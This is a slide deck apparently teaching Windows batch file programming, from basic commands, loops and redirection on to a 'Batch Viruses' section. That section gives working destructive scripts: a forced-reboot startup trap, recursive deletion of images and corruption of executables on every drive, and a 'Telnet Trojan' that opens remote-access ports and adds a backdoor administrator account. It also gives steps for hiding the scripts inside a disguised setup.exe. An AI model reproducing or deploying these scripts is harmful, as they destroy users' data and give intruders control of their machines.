This document provides an introduction to batch file programming and discusses various batch file commands and techniques. It begins by defining batch file programming and describing how batch files can automate tasks. It then covers different types of commands, parameters, loops, conditional statements, and redirection operators that can be used in batch files. The document also provides examples of how batch files can be used to perform tasks or create viruses by deleting files, corrupting files, restarting the system, and more. It emphasizes the importance of testing any potentially harmful code safely before executing.

1. A START TO BATCH FILE
PROGRAMMING
BY:- AKSHAY SAINI
+91 9872472565
akkilsl522@gmail.com

2. Introduction
• Batch file programming is nothing but the Windows version of Unix Shell
Programming.
Or Batch file programming is the native programming offered by the Microsoft
Windows Operating System.
• Batch file is created using any text editors like notepad, WordPad, WinWord or so
on, which comprises of a sequence of built-in commands used to perform some
often done tasks like deleting a series of files of same type or of different type,
creating logs, clearing unwanted craps from your computer and even for creating a
batch VIRUS.

3. Modes that are supported by DOS
Interactive Mode
• In interactive mode, when a command is
executed, it interacts with the user for
input and depending upon the input
supplied by the user, the further processes
are carried out.
• For example, let’s take the ‘del’ command.
C:>del a
C:a*, Are you sure (Y/N)? y
Batch Mode (Silent Mode)
• Batch mode can also be referred as ‘‘Quiet
Mode’, and this is opposite to the interactive
mode. The command that operates at batch
mode will never interact with the user at any
instance, instead it will take care of every
operation by itself.
• For example, using the same ‘del’ command &
switch ‘/Q’ (Quite mode).
C:>del /Q a
C:>

4. Command

5. Types of commands that we can run from a command prompt
Internal Commands
• Internal commands are nothing but
the built-in commands that are
shipped along with the operating
system.
• For example, echo, cls, del, dir were
few of the well known internal
commands.
External Commands
• External commands are the commands that
are often created while installing a new
application and these commands mostly have
no use except calling that application and
support files.
• Few external commands can only be
executed in the ‘Run’ dialog box, but not on
the command prompt. E.g firefox
• For example, MOVE, FIND, BACKUP,
UNDELETE, FORMAT.

6. Why BATCH???

7. So why do I need Batch File Programs?
• Say you need to execute a set of commands over and over again to perform a
routine task like Backing up Important Files, Deleting temporary files(*.tmp,
.bak , ~.* etc) then it is very difficult to type the same set of commands over
and over again.
• To perform a bulk set of same commands over and over again, Batch files
are used. Batch Files are to DOS what Macros are to Microsoft Office and
are used to perform an automated predefined set of tasks over and over
again.

8. Lets take an example……
.BAT File
ECHO This Batch File deletes all unwanted Temporary files from your system
ECHO Now we go to the Windowstemp directory.
cd windowstemp
ECHO Deleting unwanted temporary files....
del *.tmp
ECHO Your System is Now Clean

9. Now let's see what happens when we execute the above snippet of batch
code.
C:WINDOWS>batch_file_name
C:WINDOWS>ECHO This Batch File deletes all unwanted Temporary
files from your
system
C:WINDOWS>ECHO Now we go to the Windowstemp directory.
Now we go to the Windowstemp directory.
C:WINDOWS>cd windowstemp
Invalid directory
C:WINDOWS>ECHO Deleting unwanted temporary files
Deleting unwanted temporary files...
C:WINDOWS>del *.tmp
C:WINDOWS>ECHO Your System is Now Clean
Your System is Now Clean
Continue…

10. How to create a Batch Program ?
Like any other programing languages, lets start our first program with the ‘Hello World’
program.
1. Open up a notepad and type the following.
@echo off
Echo Hello World
pause
2. Save the file with any name you wish, but make sure that you save the file extension
with .bat, like ‘first.bat’.
3. Just double click to execute the batch file that you have created now.
4. And you are done!

11. Basic Commands 𝑦𝑜𝑢 𝑠ℎ𝑜𝑢𝑙𝑑 𝑘𝑛𝑜𝑤
• Echo
• Pause
• Dir
• Rem
• Cd
• Mkdir
• Del
• Start
• Exit
• If
• For
• Goto
• Cls
• Call

12. Passing Parameters(%0 - %9)
• To understand how parameters
work, look at the following script:
@ECHO OFF
ECHO First Parameter is %1
ECHO Second Parameter is %2
ECHO Third Parameter is %3
• This batch file produces the
following result:
• C:windows>batch_file_name abc def ghi
First Parameter is abc
Second Parameter is def
Third Parameter is ghi

13. SHIFT command
• look at the following snippet of code:
@ECHO OFF
ECHO The first Parameter is %1
ECHO.
SHIFT
ECHO The Second Parameter is %1
ECHO.
SHIFT
ECHO The Second Parameter is %1
• Now execute this batch file from DOS
and see what happens:
• C:windows>batch_file_name abc def ghi
The first Parameter is abc
The Second Parameter is def
The Second Parameter is ghi

14. .BAT File:
@ECHO OFF
CD
CD %1
DEL %2
In Command Prompt:
C:windows>batch_file_name windowstemp *.tmp
Disk Clean-up Utility

15. LOOP

16. The FOR Loop
• The syntax of the FOR LOOP is:
FOR %%PARAMETER IN(set) DO command
• Ex:
@ECHO OFF
CLS
FOR %%A IN (abc, def, xyz) DO ECHO %%A

17. Let’s take another example…..
• .BAT FILE
@ECHO OFF
ECHO.
ECHO I am going to delete the following files:
ECHO %1 %2
ECHO.
ECHO Press Ctrl+C to Abort process
PAUSE
FOR %%a IN (%1 %2 ) DO DEL %%a
ECHO Killed Files. Mission Accomplished.
• At execution time, the process would be
something like:
C:WINDOWS>batchfilename *.tmp *.bak
I am going to delete the following files:
*.tmp *.bak
Press Ctrl+C to Abort process
Press any key to continue . . .
Killed Files. Mission Accomplished.

18. IF

19. IF: CONDITIONAL BRANCHING
IF EXIST FILENAME Command
• @echo off
IF EXIST C:akshay.doc GOTO
AKSHAY
GOTO end
:AKSHAY
ECHO AKSHAY
:end
IF EXIST c:autoexec.bat IF EXIST
c:autoexec.bak ECHO Both Exist
IF NOT EXIST FILENAME Command
• IF NOT EXIST
c:somedirsomefile.dat ECHO
File c:somedirsomefile.dat does not
exist!

20. NULL

21. NULL device
• The NULL device is basically nothing, it actually stands for simply
nothing.
• Each directory has the NULL device present in it. (At least DOS
thinks so.)
• So to check if c:windows exits, simply type:
IF EXIST c:windowsnul ECHO c:Windows exists.

22. Redirection Operators
<>
~

23. Redirection Operators
‘>’Output Redirection Operator
• To send the Output to somewhere
other than the screen we use the
Output Redirection Operator, > which
is most commonly used to capture
results of a command in a text file.
• Example:
c:windows>dir *.* > abc.txt
‘<‘ Input Redirection Operator
• It is most commonly used to send the
contents of a text file to DOS. The other
common usage of this feature is the
MORE command which displays a file one
screen at a time unlike the TYPE
command which on execution displays the
entire file.
• Example:
c:windows>more < xyz.txt

24. Piping| |

25. PIPING
• Piping is a feature which combines both Input and Output Redirection. It
uses the Pipe operator, which is the| symbol. This command captures the
Output of one command and sends it as the Input of the other command.
• Say for example, when you give the command del *.* then you need to
confirm that you mean to delete all files by pressing y. Instead we can simply
do the same without any User Interaction by giving the command:
c:windows> echo y | del *.*
• This command is pretty self explanatory, y is sent to the command del *.*

26. Batch Viruses

27. Many Folders
This code creates 1000’s of folders with number naming.
Code:
----------------------------------------------------------------------
:e
md %random%
goto e
----------------------------------------------------------------------

28. Undeletable Folder with Your Name
:y
md c:documents and settingsusersdesktopakshay
md c:akshay
md d:akshay
md e:akshay
md f:akshay
md g:akshay
md h:akshay
goto y

29. System Restart Virus
This batch file code is restarts system when it starts
Code:
---------------------------------------------------------------------------------------------
echo shutdown –r –f –t 00 > shut.bat
move shut.bat C:"Documents and Settings""All Users""Start Menu"ProgramsStartup
----------------------------------------------------------------------------------------------
Copy the above code and paste in notepad by name anything.bat and runs on any
Pc then after next restart the system will never starts and automatically restarts.

30. For Loop Viruses

31. For loop viruses 1
This code creates messages on desktop showing files are corrupted.
----------------------------------------------------------------------------------------------
Code:
For /r c: %%y in (*.*) do msg * %%y ------ is Corrupted.
it not actually corrupts the file it shows only messages
----------------------------------------------------------------------------------------------
Note: conversion into exe is required.

32. For loop viruses 2 (Damage level :High)
1. This code will remove all images, wallpapers from your system.
Warning! -- Try it on your own risk.
Code:
for /r c: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q
for /r d: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q
for /r e: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q
for /r f: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q
Note: conversion into exe is required.

33. For loop viruses 3 (Damage level :High)
This code will corrupt all exe files of your system.
Warning! -- Try it on your own risk.
Code:
echo you lost all !!!! >c:tempero.null
for /r c: %%y in (*.exe) do copy c:temporal.null + %%y %%y
for /r d: %%y in (*.exe) do copy c:temporal.null + %%y %%y
for /r e: %%y in (*.exe) do copy c:temporal.null + %%y %%y
for /r f: %%y in (*.exe) do copy c:temporal.null + %%y %%y
del c:tempero.null /s/q
Note: conversion into exe is required.

34. Telnet Trojan
Work as Remote Administrator tool with the use of telnet.
@echo off
sc config tlntsvr start= auto
net start tlntsvr
netsh firewall add portopening TCP 23 "Telnet"
sc config termservice start= auto
net start termservice
netsh firewall add portopening TCP 3389 "Remote Desktop"
net user Default 12345 /add
net localgroup administrators Default /add

35. Making Viruses Smart

36. • Firstly copy all these coding into the notepad and name them anything with .bat extention.
• Now converts this .bat file into .exe file with the help of Bat to Exe converter.
• This is the software which
helps us to hide the cmd
coding and runs the process
in background.
BAT EXE

37. Finishing Virus
Coding
Mixing process.
.bat
.exe
setup.exe

38. OR

39. Thank You!!!
Keep Coding….